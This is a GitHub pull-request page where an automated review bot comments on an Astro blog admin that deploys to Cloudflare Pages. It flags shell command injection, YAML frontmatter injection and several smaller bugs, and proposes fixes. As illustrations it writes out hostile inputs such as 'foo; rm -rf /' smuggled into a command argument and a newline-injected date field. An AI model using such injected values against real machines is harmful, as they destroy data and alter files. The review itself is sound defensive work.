const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${account} && bunx wrangler pages deploy dist --project-name=${project}`;

If account contains foo; rm -rf /, the command becomes:

export CF_ACCOUNT_ID=foo; rm -rf / && bunx wrangler pages deploy dist --project-name=...

This allows arbitrary command execution on the user's machine when they run the displayed command.

Suggested fix: Add shell escaping for the account and project values. Use a function like escapeShellArg() to wrap values in single quotes and escape any existing single quotes:

function escapeShellArg(str) {
  if (!str) return "''";
  return "'" + str.replace(/'/g, "'\\''") + "'";
}

const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${escapeShellArg(account)} && bunx wrangler pages deploy dist --project-name=${escapeShellArg(project)}`;

Or use Wrangler's config file approach and environment variables instead of command-line arguments to completely avoid shell interpolation.

) : (
<div class="space-y-6">
{publishedPosts.map(post => (
<article class="bg-white dark:bg-gray-800 rounded-lg shadow-sm border border-gray-200 dark:border-gray-700 p-6 hover:shadow-md transition">
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Blog/page URLs include .md extension from content IDs

Medium Severity

In src/pages/blog/index.astro (line 68) and src/pages/blog/[slug].astro (line 11), post.id is used directly for URL construction. With Astro's glob loader, post.id includes the file extension (e.g., "welcome.md"), resulting in URLs like /blog/welcome.md instead of clean URLs like /blog/welcome. The same issue affects pages at src/pages/[slug].astro (lines 9, 22). This breaks the standard static site convention of extension-less URLs and may cause issues with CDN caching, URL normalization, and SEO.

Suggested fix: Strip the .md extension when constructing URLs: use post.id.replace(/\.md$/, '') or create a helper function to normalize IDs for URL use.

Comment on lines +197 to +210

// Save Cloudflare Config
document.getElementById('save-cf-config').addEventListener('click', () => {
const project = document.getElementById('cf-project').value.trim();
const token = document.getElementById('cf-token').value.trim();
const account = document.getElementById('cf-account').value.trim();

if (!project || !token || !account) {
alert('Please fill in all fields!');
alert('Please fill in all Cloudflare fields!');
return;
}

localStorage.setItem('cf_project', project);
localStorage.setItem('cf_token', token);
localStorage.setItem('cf_account', account);
storedToken = token;
localStorage.setItem(CF_PROJECT_KEY, project);
localStorage.setItem(CF_TOKEN_KEY, token);
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Shell command injection via config file load in deploy.astro

Medium Severity

The deploy command interpolates project and account values from localStorage directly into a shell command without sanitization. While the save-config function intentionally excludes the token, it still saves project and account values. If a user loads a maliciously crafted config file with shell metacharacters (e.g., project: "test; rm -rf / #"), and then clicks the deploy button, arbitrary shell commands could be executed on the user's machine. The project and account values from config are set directly to localStorage without any validation or escaping before being used in the command string.

Suggested fix: Validate project and account against a strict pattern (alphanumeric, dash, underscore only) when loading from config, or encode/shell-escape the values before interpolating into the command. Alternatively, validate on save.

Remove characters that could be exploited in shell command: ; & | ` $ < > \
This prevents potential command injection if a malicious config file is loaded.
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 1 potential issue.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.

Comment on lines +122 to +125
function escapeYAML(str) {
if (!str) return '';
return str.replace(/"/g, '\\"').replace(/\n/g, '\\n');
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

YAML injection risk in frontmatter via newline escaping flaw

Medium Severity

The escapeYAML() function in posts.astro and pages.astro converts actual newlines to literal \n characters: str.replace(/\n/g, '\\n'). When content contains actual newlines, they become literal \n strings. When Astro parses this YAML and re-serializes it, the literal \n becomes actual newlines in the output. This could cause frontmatter parsing issues if the resulting newlines appear in unexpected positions relative to the --- delimiters, leading to file corruption or malformed content.

Suggested fix: Use a proper YAML library for escaping in both JavaScript (admin) and TypeScript (server) code, or ensure the regex-based frontmatter extraction in markdown.ts is used consistently for both reading and writing content.

Content lines containing --- would prematurely end the frontmatter block.
Now escaping --- to \-\-\- to prevent YAML parsing issues.
Copy link

@gitzillabot gitzillabot bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Gitzilla has reviewed your changes and found 5 potential issues.

Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.

Comment on lines +119 to +125
return str.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#39;');
}

function escapeYAML(str) {
if (!str) return '';
return str.replace(/"/g, '\\"').replace(/\n/g, '\\n');
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

YAML frontmatter --- escape produces invalid escape sequence

High Severity

The formatFrontmatter function in posts.astro and pages.astro attempts to escape --- sequences using content.replace(/^---$/gm, '\\-\\-\\-'). In JavaScript, '\\-\\-\\-' becomes the literal string \-\-\-. However, \-\-\- is NOT a valid YAML escape sequence—YAML only recognizes specific escapes like \n, \t, \", etc. The YAML parser will interpret \-\-\- as literal characters, which does not prevent --- from being recognized as a document separator. A user can still inject content that breaks out of frontmatter by starting their post with ---.

Suggested fix: Either check if content starts with --- and prepend a newline, or use proper YAML block scalar syntax. For example: if (post.content.startsWith('---')) content = '\n' + content;

const lines = [
'---',
`title: "${escapeYAML(post.title)}"`,
`date: ${post.date}`,
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing fallback for undefined date in formatFrontmatter

Medium Severity

The formatFrontmatter function inserts post.date directly without a fallback: date: ${post.date}. While the save function sets date: new Date().toISOString().split('T')[0], if post.date is undefined (from corrupted localStorage, manual edits, or API responses), this produces date: undefined which is invalid YAML syntax.

Suggested fix: Use a fallback: date: ${post.date || new Date().toISOString().split('T')[0]}

Comment on lines +127 to +143
function formatFrontmatter(post) {
const lines = [
'---',
`title: "${escapeYAML(post.title)}"`,
`date: ${post.date}`,
`excerpt: "${escapeYAML(post.excerpt || '')}"`,
`published: ${post.published}`,
'---',
'',
];
if (post.content) {
// Escape any --- sequences that would prematurely end frontmatter
const escapedContent = post.content.replace(/^---$/gm, '\\-\\-\\-');
lines.push(...escapedContent.split('\n'));
}
return lines.join('\n');
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

YAML injection via unquoted date field in frontmatter generation

High Severity

In src/pages/admin/posts.astro, the formatFrontmatter function generates YAML frontmatter with an unquoted date field at line 131: date: ${post.date}. If post.date contains a newline character, it breaks out of the field value and allows injection of arbitrary YAML keys.

Example attack: setting date to 2024-01-01\nauthor: "injected" produces:

---
title: "..."
date: 2024-01-01
author: "injected"
---

This injects an additional author field into the frontmatter. The same vulnerability exists in pages.astro at line 109 with date: ${page.date || ...}.

Both locations should quote and escape the date value like: `date: "${escapeYAML(post.date)}"`.

Suggested fix: Quote and escape the date field: date: "${escapeYAML(post.date)}"

Comment on lines +103 to +118
}

function escapeYAML(str) {
if (!str) return '';
return str.replace(/"/g, '\\"').replace(/\n/g, '\\n');
}

function formatFrontmatter(page) {
const lines = [
'---',
`title: "${escapeYAML(page.title)}"`,
`date: ${page.date || new Date().toISOString().split('T')[0]}`,
'---',
'',
];
if (page.content) {
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

YAML injection via unquoted date field in pages frontmatter generation

High Severity

In src/pages/admin/pages.astro, the formatFrontmatter function at line 109 uses an unquoted date field: date: ${page.date || new Date().toISOString().split('T')[0]}. If the page's date value contains a newline, it injects arbitrary YAML structure. This is the same vulnerability as in posts.astro but affects page exports.

The date field should be quoted and escaped: `date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"`.

Suggested fix: Quote and escape the date field: date: "${escapeYAML(page.date || new Date().toISOString().split('T')[0])}"

Comment on lines +302 to +306
if (config.cloudflare.token) {
localStorage.setItem(CF_TOKEN_KEY, config.cloudflare.token);
document.getElementById('cf-token').value = config.cloudflare.token;
document.getElementById('cf-token').placeholder = maskToken(config.cloudflare.token);
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Config load/save asymmetry breaks token restoration

Medium Severity

The save-config function explicitly omits the token from the exported JSON for security reasons (line 252-255), but the load-config function only checks for config.cloudflare.token (lines 302-306). This creates two problems:

  1. Saved config files can never restore the API token — the user must re-enter it every time
  2. Old config files using the flat config.token format are not supported for token restoration

The result is that after exporting a config, users cannot re-import their API token. The load function needs a fallback check for config.token (the old flat format) to provide backward compatibility for users with existing config files.

Suggested fix: Add a fallback to load token from old flat format: const token = config.cloudflare?.token || config.token; and then restore it to localStorage.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant